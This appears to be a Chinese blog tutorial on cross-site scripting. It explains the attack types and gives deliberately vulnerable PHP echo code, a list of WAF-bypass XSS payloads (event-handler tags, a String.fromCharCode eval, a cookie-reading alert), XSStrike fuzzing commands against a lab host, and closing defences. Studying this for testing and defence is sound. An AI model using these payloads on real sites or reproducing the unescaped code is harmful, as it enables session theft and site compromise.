赞
踩
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆故将跨站脚本攻击缩写为XSS。
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
XSS漏洞出现的原因主要在于程序对输入和输出的控制不够严格,导致攻击者在将script代码输入后,在前端浏览器被当作有效代码解析并执行从而产生危害。
1、窃取cookie的sessionid,冒充用户登录。
2、盗取各类用户账号,如机器登录帐号、用户网银帐号、各类管理员帐号
3、盗窃企业重要的具有商业价值的资料
4、控制受害者机器向其它网站发起攻击(重定向语句)
5、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
6、强制发送电子邮件
7、网站挂马
8、非法转账
xss 攻击可分为三类:反射型XSS、存储型XSS、dom型XSS。
黑客首先诱导用户点击恶意链接,当客户端发出请求时,XSS恶意脚本出现在URL中,作为输入提交到服务器端。服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码,此时黑客控制客户端做出一些行为。反射型XSS的特点是非持久性、参数型跨站脚本,这种攻击方式往往具有一次性。
存储型XSS是持久性跨站脚本,存储型XSS的脚本并不是在url某个参数中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方,黑客通过在留言板位置将恶意代码写进数据库中。存储型XSS的特点是脚本将被永久地存放在目标服务器端,下次请求目标页面时不用再提交XSS代码。攻击数据存储在服务器,攻击一直持续下去,危害比反射大
网页HTML中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。
此时用户可以通过JS脚本对文档对象进行编辑,从而修改页面的元素 。客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。DOM型XSS的特点是由于攻击载荷是在本地修改DOM树,并不会传到服务器上,所以DOM型XSS难以检测。
先放上xss漏洞代码:
- <?php
- $x = $_GET['input'] ;
- echo $x ;
- ?>
首先打开waf防护,然后输入js脚本进行xss攻击,发现被waf拦截,此时我们需要通过一些策略绕过waf
svg标签替换
令 input=<svg οnlοad="alert(1)">,发现成功绕过waf
audio标签替换
<audio src=x οnerrοr=alert(4)>
<audio src=x οnerrοr=prompt(12);>
<audio src=1 href=1 οnerrοr=javascript:alert(1)></audio>
video标签替换
<video src=x οnerrοr=prompt(123)>
<video src=x οnerrοr=alert(123)>
<button οnfοcus=alert(1) autofocus>
<button οnclick=alert(1234)>xssbutton</button>
除此之外还有img、body、style等标签可以替换script标签
img标签替换
令 input= <img src=1 οnerrοr=alert("hello")> 弹出hello弹窗3
令 input=<img src=1 οnerrοr=alert(document.cookie)> ,弹出cookie
body 标签替换
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
style标签替换
<style οnlοad=alert(1)></style>
input=<details open οntοggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
97,108,101,114,116,40,49,41 ========> laert(1)的ASCII码
(3)XSStrike工具,其中包含了手工测试的方式和自动攻击两种方式。
python xsstrike.py -u "http://192.168.159.148:9090/xsstest/echoget.php?input=123" --fuzzer
使用--fuzzer模式表示自动测试,-u 后面接url地址 ,然后回车
如果输入python xsstrike.py -u "http://192.168.159.148:9090/xsstest/echoget.php?input=123" ,则进入手动模式(这里需要我们的原始页面为一个标准的文件包含漏洞的html文件)。
修改xss漏洞代码
- <!DOCTYPE html><html>
- <head>
- <meta http-equiv="content-type" content="text/html;charset=utf-8">
- <title>XSS测试</title>
- </head>
- <body>
- <h1 align=center>欢迎</h1>
- <?php
- $x = $_GET['input'] ;
- echo $x ;
- ?>;
- <center>测试 XSS</center>
- </body>
- </html>
然后进行测试,复制生成载荷 <HTML/+/ONmOuSEoVer+=+[8].find(confirm)> ,然后在url上进行提交测试
发现测试成功:
此时我们可以输入 Y并回车,继续进行测试,也可以输入N结束。
(4)在默认配置下,为了节省资源,许多WAF只会对GET请求进行过滤拦截,而忽略了对POST请求等提交方式的检测,因此,常用的一种xss绕WAF的方式是更改有害语句的提交方式,如将GET提交方式修改为POST、cookie、http header等来尝试绕过WAF拦截,尝试这一方法的前提是当前网页代码支持修改的提交方式。
(5)混淆伪装绕过,混淆伪装方式与sql注入的绕过类似,如编码绕过、大小写绕过、双写绕过、转义字符绕过等
(6)XSS漏洞执行js代码对系统实行的攻击依赖于事件函数的触发,因此WAF也会重点识别事件函数字段,如onclick。但是在js语法中,事件函数如onerror、 oninput、onmousedown、onsumbmit、onchange等也可以触发攻击。
2、自动测试
(1)fuzz测试。(上文已经演示)
(2)使用bp工具并导入xss攻击字典,对网址进行爆破。
1、如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信 息,这样能有效的防止XSS攻击导致的cookie被盗取。
2、对输入进行过滤或清理
3、使用预备语句,在数据库查询中使用预备语句以避免XSS攻击通过输入传播到数据库。
4、实施输出编码,确保在输出到HTML时使用适当的HTML编码函数。
5、使用内容安全策略
6、审查和测试
7、定期进行安全审计和漏洞扫描
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。